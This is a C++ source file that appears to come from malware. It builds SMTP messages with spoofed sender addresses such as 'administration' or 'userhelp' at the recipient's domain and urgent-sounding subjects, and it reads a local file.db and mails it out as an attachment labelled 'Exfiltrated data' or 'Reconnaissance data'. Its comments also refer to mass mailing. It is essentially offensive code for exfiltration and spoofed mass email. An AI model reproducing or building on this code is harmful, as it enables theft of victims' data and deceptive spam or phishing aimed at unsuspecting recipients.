mailer.cpp

/**************************************
* Contains the SMTP server logic code
**************************************/

// if there is an error return true so we don't fuck up the massmailing
BOOL chk(int iStatus)
{
	if (iStatus!=SOCKET_ERROR && iStatus!=0)
	{
		return TRUE;
	}
	return FALSE;
}

char mail_1[64] = "", helloserver[64] = "";
char bigbuff[4096],szLine[255],MessageBuffer[255];

//send the message buffer to the server we are connected to
void sendmsgbuff()
{
	if(!chk(send(hServer,MessageBuffer,strlen(MessageBuffer),0)))
		ErrorLevel = ERROR_LEVEL_SEND;
	
}
void recvbuff()
{
	if(!chk(recv(hServer,bigbuff,sizeof(bigbuff),0)))
		ErrorLevel = ERROR_LEVEL_RECEIVE;
	if (bigbuff[0]=='4' || bigbuff[0]=='5') ErrorLevel = ERROR_LEVEL_RECEIVE;
	
}

//gets the date from the local system then implements that as the date of when email was sent
void getdate(FILETIME *time, char *buf)
{
        SYSTEMTIME t;
	TIME_ZONE_INFORMATION tmz_info;
	DWORD daylight_flag; int utc_offs, utc_offs_u;
        LPSTR weekdays[7] = { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" };
        LPSTR months[12] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };

	if (time == NULL) {
	        GetLocalTime(&t);
	} else {
		FILETIME lft;
		FileTimeToLocalFileTime(time, &lft);
		FileTimeToSystemTime(&lft, &t);
	}

	tmz_info.Bias = 0;
	daylight_flag = GetTimeZoneInformation(&tmz_info);

	utc_offs = tmz_info.Bias;
	if (daylight_flag == TIME_ZONE_ID_DAYLIGHT) utc_offs += tmz_info.DaylightBias;
	utc_offs = -utc_offs;
	utc_offs_u = (utc_offs >= 0) ? utc_offs : -utc_offs;

        if (t.wDayOfWeek > 6) t.wDayOfWeek = 6;
        if (t.wMonth == 0) t.wMonth = 1;
        if (t.wMonth > 12) t.wMonth = 12;
static const char szDns[] = "%s %u %s %u.2u. %s";
        wsprintf(buf,
                "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",
                weekdays[t.wDayOfWeek], t.wDay,
                months[t.wMonth-1], t.wYear,
                t.wHour, t.wMinute, t.wSecond,
		(utc_offs >= 0) ? "+" : "-",
		utc_offs_u / 60, utc_offs_u % 60
        );
}


BOOL sendmail(LPSTR strTo)
{
  //Seeds random number generator
	srand(GetTickCount());
#define CRLF "\r\n"

char* szBuf2 = new char[76];

/////////////////////////////////////////////////
static const char *gen_names[] = {
  "server","administration", "managment", "service", "userhelp"
};


#define gen_names_cnt (sizeof(gen_names) / sizeof(gen_names[0]))

#define dmain 80
	char domain[dmain], *p;
	for (p=strTo; *p && *p != '@'; p++);
	if (*p++ != '@') return 0;
	lstrcpyn(domain, p, dmain-1);
char froms[255];
int i;
i = rand() % gen_names_cnt;
lstrcpy(froms, gen_names[i]);
	lstrcat(froms, "@");
  
  //generate random domain here for future release
	lstrcat(froms, domain);

////////////////////////////////////////////////
	char subject[200];
static const char *subjects[] = {
  "Urgent Update!",
  "Server Error", 
  "User Info", 
  "URGENT PLEASE READ!", 
  "Detailed Information",
	"User Information", 
  "Email Account Information"
};
#define subjects_names (sizeof(subjects) / sizeof(subjects[0]))
int j;
j = rand() % subjects_names;
lstrcpy(subject, subjects[j]);

////////////////////////////////////////////////
char attachment[200];

//make this entirely randomly generated
static const char *attachments[] = {
  "Uploaded recon information",
  "Important recon information",
  "Reconnaissance data",
  "Exfiltrated data", 
  "Uploaded exfiltrated information", 
  "Uploaded exfiltrated data"
};

#define attachments_names (sizeof(attachments) / sizeof(attachments[0]))

int k;
k = rand() % attachments_names;
lstrcpy(attachment, attachments[k]);
///////////////////////////////////////////////

char message[200];
static const char *messages[] = {
    "Uploaded recon information",
	  "Exfiltrated data",
	  "Uploaded exfiltrated data", 
	  "Important recon information", 
	  "Uploaded exfiltrated information", 
	  "Uploaded exfiltration data"
};

#define message_names (sizeof(messages) / sizeof(messages[0]))


int l;
l = rand() % message_names;
lstrcpy(message, messages[l]);

/***************************************
* Standard Email bullshit sent to the server
***************************************/

//everytime you see sprintf(MessageBuffer,blah); it is just
// printing what ever arguements to the buffer then sends them to
// the recipient's server

	if (strlen(helloserver)>0) sprintf(MessageBuffer,"HELO <%s>%s",helloserver,CRLF);
	else sprintf(MessageBuffer,"HELO %s%s",domain,CRLF);
	sendmsgbuff(); recvbuff();

	if (strlen(mail_1)>0) sprintf(MessageBuffer,"MAIL FROM: <%s>%s",mail_1,CRLF);
	else sprintf(MessageBuffer,"MAIL FROM: <%s>%s",froms,CRLF);
	sendmsgbuff(); recvbuff();

	sprintf(MessageBuffer,"RCPT TO: <%s>%s",strTo,CRLF);
	sendmsgbuff(); recvbuff();
	sprintf(MessageBuffer,"DATA%s",CRLF);
	sendmsgbuff(); recvbuff();
char bufffer[MAX_PATH];
	getdate(NULL,bufffer);
	sprintf(MessageBuffer,"To: %s%s",strTo,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"Subject: %s%s",subject,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"Date: %s%s",bufffer,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"From: %s%s",froms,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"MIME-Version: 1.0%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"Content-Type: multipart/mixed;" ,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"boundary=\"--zzzxxxzzzxxx\"%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"X-Priotity: 3%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"X-MSMail-Priority: Normal%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"%sThis is a multipart MIME-encoded message%s%s",CRLF,CRLF,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"----zzzxxxzzzxxx%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"Content-Type: text/html; charset=\"us-ascii\"%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"Content-Transfer-Encoding: quoted-printable%s%s",CRLF,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"%s%s",message,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"----zzzxxxzzzxxx%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"Content-Type: application/octet-stream; name=\"%s\"%s",attachment,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"Content-Transfer-Encoding: base64%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"Content-Disposition: attachment; filename=\"%s\"%s",attachment,CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"%s",CRLF); sendmsgbuff();
	FILE* file1;
	char szBuf[MAX_PATH];

  //set file location here
  char exfil_data[MAX_PATH];
  //Set file to upload
  GetSystemInformation(exfil_data,sizeof(exfil_data));
  lstrcat(exfil_data,"\\file.db");

	char* strFile1 = new char[MAX_PATH];
	file1 = fopen(exfil_data,"rb");
	if(file1==NULL)return 0;
	while(!feof(file1))
	{
		fscanf(file1,"%s\n",szBuf);
		sprintf(MessageBuffer,"%s%s",szBuf,CRLF);
		sendmsgbuff();
	}

	sprintf(MessageBuffer,"%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"----zzzxxxzzzxxx--%s",CRLF); sendmsgbuff();
	sprintf(MessageBuffer,"%s.%s",CRLF,CRLF);
	sendmsgbuff(); recvbuff();
	sprintf(MessageBuffer,"QUIT%s",CRLF);
	sendmsgbuff(); recvbuff();
	closesocket(hServer);
	return TRUE;
}